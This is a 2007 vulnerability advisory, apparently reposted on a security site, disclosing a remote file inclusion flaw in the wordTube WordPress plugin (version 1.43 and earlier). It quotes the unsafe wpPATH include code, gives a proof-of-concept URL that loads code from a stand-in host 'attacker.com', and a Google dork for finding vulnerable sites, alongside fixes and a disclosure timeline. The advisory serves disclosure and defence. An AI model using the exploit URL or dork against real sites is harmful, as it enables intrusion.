wordpress plugins wordTube <= 1.43 (wpPATH) Remote File Inclusion Vulnerability

Advisory Content :

------------------------------------------------------------------------
-----------------
[ECHO_ADV_81$2007] wordpress plugins wordTube <= 1.43 (wpPATH) Remote File
Inclusion Vulnerability
------------------------------------------------------------------------
-----------------

Author : M.Hasran Addahroni
Date : April, 30th 2007
Location : Australia, Sydney
Web : http://advisories.echo.or.id/adv/adv81-K-159-2007.txt
Critical Lvl : Dangerous
Impact : System access
Where : From Remote
------------------------------------------------------------------------
---

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : wordTube
version : <= 1.43
Vendor : http://alexrabe.boelinger.com/?page_id=20
Description :

This plugin creates your personal YouTube plugin for wordpress.
wordTube supports the streaming video format (Format .flv or .swf),
sound files as MP3 and JPG, GIF or PNG grafic files.

------------------------------------------------------------------------
---

Vulnerability:
~~~~~~~~~~~~~
- Invalid include function at wordtube-button.php :

----------------wordtube-button.php-------------------
...

*/
// get and set path of function

if (!$_POST) $wppath=$_GET['wpPATH'];
else $wppath=$_POST['wpPATH'];

require_once($wppath.'/wp-config.php');
require_once($wppath.'/wp-admin/admin.php');
...
----------------------------------------------------------------

Input passed to the "wpPATH" parameter in wordtube-button.php is not
properly verified before being used to include files.
This can be exploited to include arbitrary files from local or external
resources.
Successful exploitation requires that "register_globals" is enabled.

Poc/Exploit:
~~~~~~~~~

http://www.target.com/wp-content/plugins/wordtube/wordtube-button.php?wp
PATH=http://attacker.com/evil?

Google dork:
~~~~~~~~~
"inurl:/plugins/wordtube"

Solution:
~~~~~~

- Edit the source code to ensure that input is properly verified.
- Turn off register_globals
- use the latest version

Notification:
~~~~~~
- 30-04-2007 bugs found
- 30-04-2007 vendor contacted
- 1-05-2007 advisory released

------------------------------------------------------------------------
---

Shoutz:
~~~~
~ ping - my dearest wife, and my little son, for all the luv the tears n
the breath
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative, str0ke
(for the best comments)
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,bayl
aw
~ SinChan,h4ntu,cow_1seng,sakitjiwa, m_beben, rizal, cR4SH3R, madkid,
kuntua, stev_manado, nofry, x16
~ newbie_hacker (at) yahoogroups (dot) com [email concealed]
~ #aikmel #e-c-h-o @irc.dal.net

------------------------------------------------------------------------
---
Contact:
~~~~~

K-159 || echo|staff || eufrato[at]gmail[dot]com
Homepage: http://k-159.echo.or.id/

-------------------------------- [ EOF ] ----------------------------------

Security

IT News

Search

SecurityAlert Database

About SecurityAlert

ExploitAlert Database

SecurityReason Research

WLB Database

Send to WLB

About WLB

Security Audit

Schedule

Prices of services

Contact

SecurityReason IT News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Contact

About SecurityReason

wordpress plugins wordTube <= 1.43 (wpPATH) Remote File Inclusion Vulnerability